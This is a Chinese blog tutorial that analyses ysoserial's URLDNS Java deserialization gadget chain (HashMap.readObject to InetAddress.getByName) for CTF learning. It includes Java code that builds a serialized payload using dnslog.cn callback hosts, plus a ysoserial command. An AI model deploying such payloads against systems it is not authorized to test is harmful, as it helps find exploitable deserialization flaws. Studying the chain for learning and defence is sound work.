Java反序列化初探URLDNS


Java反序列化初探URLDNS

前言

最近碰见很多java类型题目,但经常感觉无从下手,有时看着WP复现都感觉很吃力,所以打算从基础出发去学习。打算先从最简单的URLDNS学起,之后再学习CC链。
参考了大佬们的博客
Yso中的URLDNS分析学习
URLDNS链学习
Java反序列化从URLDNS到CommonsCollections1-7
Java 反序列化初探

Java反射的setAccessible()方法

URLDNS

ysonserial中一个利用链,其触发的结果是一次DNS请求,可用于确认是否存在反序列化漏洞。
翻开ysonserial的源码

public Object getObject(final String url) throws Exception {
    //Avoid DNS resolution during payload creation
    //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
    URLStreamHandler handler = new SilentURLStreamHandler();
    HashMap ht = new HashMap(); // HashMap that will contain the URL
    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
    return ht;
}

调用链如下:

Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

网上找到的分析大多基JDK1.8,而本机JDK版本为17,以下分析过程有些许不同,主要是URLStreamHandler handler中的getHostAdress部分,其他的基本相同。
找到反序列化的入口类,readobject。

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " + loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " + mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

发现其在最后调用了hash函数,跟进

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

发现调用了key.hashCode,查看源码发现这个key是URL类。
跟进URL类的hashcode方法

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;
    hashCode = handler.hashCode(this);
    return hashCode;
}

跟进hashcode发现

private int hashCode = -1;

跟进一下handler

transient URLStreamHandler handler;

发现有URLStreamHandler,找URLStreamHandler下的hashcode函数

protected int hashCode(URL u) {
    int h = 0;
    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();
    // Generate the host part.
   InetAddress addr = getHostAddress(u);
   if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }
    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();
    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();
    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();
    return h;
}

跟进getHostAddress

protected InetAddress getHostAddress(URL u) {
    return u.getHostAddress();
}

跟进URL类下的getHostAddress

synchronized InetAddress getHostAddress() {
    if (hostAddress != null) {
        return hostAddress;
    }
    if (host == null || host.isEmpty()) {
        return null;
    }
    try {
        hostAddress = InetAddress.getByName(host);
    } catch (UnknownHostException | SecurityException ex) {
        return null;
    }
    return hostAddress;
}

其中InetAddress.getByName(host)的作用为根据主机名获取ip地址,即一次DNS查询。
这样就得到了Gadget

HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
URL.getHostAddress()
InetAddress.getByName()

想要触发hash的调用,首先要用到putval,而我们发现put函数下就有putval的调用,这意味着,只要进行一次简单的put,都会触发一次URLDNS。

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

再查看ysoserial的URLDNS链,发现其多了一个SilentURLStreamHandler。根据调用链,在后面会调用handler的getHostAddress方法。为了不让在put的时候就触发了URLDNS,Ysoserial自己写了一个类继承URLStreamHandler,然后重写了getHostAddress()方法,防止了URLDNS链在每一次put的时候都会触发。

static class SilentURLStreamHandler extends URLStreamHandler {
    protected URLConnection openConnection(URL u) throws IOException {
            return null;
    }
    protected synchronized InetAddress getHostAddress(URL u) {
            return null;
    }
}

考虑到调用put(),虽然没有触发URLDNS,但是同样调用了hash(),换言之,生成payload的时候也应该会产生大量的请求。测试一下:

import java.net.URL;
import java.util.HashMap;

public class urldns {
    public static void main(String[] args) throws Exception{
        HashMap test = new HashMap();
        URL url = new URL("http://8bv0ev.dnslog.cn");
        test.put(url,233);
    }
}


确实产生了请求。
而hash的调用也导致了传入的URL类对象的哈希值被计算了一次,hashCode不再是-1了,因此还需要再修改它的hashCode属性。但是注意这个属性是private,因此只能用反射的方式将其改为-1。
即,如果想要通过反序列化的方式触发,就需要将hashCode的值改为-1,这样不会因为生成poc而造成DNS请求。

import java.net.URL;
import java.util.HashMap;
import java.lang.reflect.Field;

public class urldns {
    public static void main(String[] args) throws Exception{
        HashMap test = new HashMap();
        URL url = new URL("http://0cz0kq.dnslog.cn");
        Field justhash = Class.forName("java.net.URL").getDeclaredField("hashCode");
        justhash.setAccessible(true);
        test.put(url,233);
        justhash.set(url,123);
    }
}

此时是会生成DNS请求的。

最后的payload如下:

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
import java.lang.reflect.Field;

public class urldns {
    public static void main(String[] args) throws Exception{
        HashMap test = new HashMap();
        URL url = new URL("http://vt0axz.dnslog.cn");
        Field justhash = Class.forName("java.net.URL").getDeclaredField("hashCode");
        justhash.setAccessible(true);
        test.put(url,233);
        justhash.set(url,-1);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("attack.ser"));
        oos.writeObject(test);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("attack.ser"));
        ois.readObject();
    }
}

发现DNS请求。

URLDNS获取一个url,运行ysoserial。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://4jj26q.dnslog.cn" > attack.ser
将生成的文件序列化,会在dnslog中留下记录。

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class DnsTest {
    public static void main(String[] args) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("F:\\tools\\attack.ser"));
        Object test = ois.readObject();
        System.out.println(test);
    }
}

然而本地运行该程序一直报错,百度报错信息发现,提示该文件不是序列化后的文件,研究发现,win下生成的会有一些问题。

然而java序列化数据流都是以0xACED开头的,linux下应该没有问题。


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !